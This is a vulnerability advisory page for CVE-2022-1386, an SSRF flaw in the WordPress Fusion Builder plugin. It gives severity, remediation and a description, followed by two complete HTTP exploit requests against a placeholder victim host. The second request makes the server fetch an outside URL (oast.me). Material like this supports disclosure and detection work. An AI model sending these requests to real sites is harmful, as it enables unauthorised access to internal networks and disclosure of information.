| Title | WordPress Fusion Builder <3.6.2 - Server-Side Request Forgery |
|---|---|
| Author | akincibor,MantisSTS,calumjelrick |
| Severity | Critical |
| Impact | An attacker can exploit this vulnerability to make requests to internal resources, potentially leading to unauthorized access or information disclosure. |
| Remediation | Update to the latest version of WordPress Fusion Builder plugin (3.6.2) or apply the vendor-provided patch. |
| CVSS Score | 9.8 |
| EPSS Score | 0.9361 |
| CVE ID | CVE-2022-1386 |
| CWE ID | CWE-918 |
| Tags | cve cve2022 wpscan wordpress ssrf themefusion wp fusion avada intrusive theme-fusion fusion_builder_project vkev vuln |
WordPress Fusion Builder plugin before 3.6.2 is susceptible to server-side request forgery. The plugin does not validate a parameter in its forms, which can be used to initiate arbitrary HTTP requests. The data returned is then reflected back in the application’s response. An attacker can potentially interact with hosts on the server’s local network, bypass firewalls, and access control measures.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
Connection: close
Content-Length: 30
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://www.victim.com
Referer: /
Accept-Encoding: gzip
action=fusion_form_update_view
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.14
Connection: close
Content-Length: 1384
Content-Type: multipart/form-data; boundary=---------------------------30259827232283860776499538268
Origin: http://www.victim.com
Referer: /
Accept-Encoding: gzip
-----------------------------30259827232283860776499538268
Content-Disposition: form-data; name="formData"
email=example%40oast.me&fusion_privacy_store_ip_ua=false&fusion_privacy_expiration_interval=48&priva
cy_expiration_action=ignore&fusion-form-nonce-0=ynXWpV&fusion-fields-hold-private-data=
-----------------------------30259827232283860776499538268
Content-Disposition: form-data; name="action"
fusion_form_submit_form_to_url
-----------------------------30259827232283860776499538268
Content-Disposition: form-data; name="fusion_form_nonce"
ynXWpV
-----------------------------30259827232283860776499538268
Content-Disposition: form-data; name="form_id"
0
-----------------------------30259827232283860776499538268
Content-Disposition: form-data; name="post_id"
0
-----------------------------30259827232283860776499538268
Content-Disposition: form-data; name="field_labels"
{"email":"Email address"}
-----------------------------30259827232283860776499538268
Content-Disposition: form-data; name="hidden_field_names"
[]
-----------------------------30259827232283860776499538268
Content-Disposition: form-data; name="fusionAction"
https://oast.me
-----------------------------30259827232283860776499538268
Content-Disposition: form-data; name="fusionActionMethod"
GET
-----------------------------30259827232283860776499538268--
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1386.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-1386.pcap
N/AN/A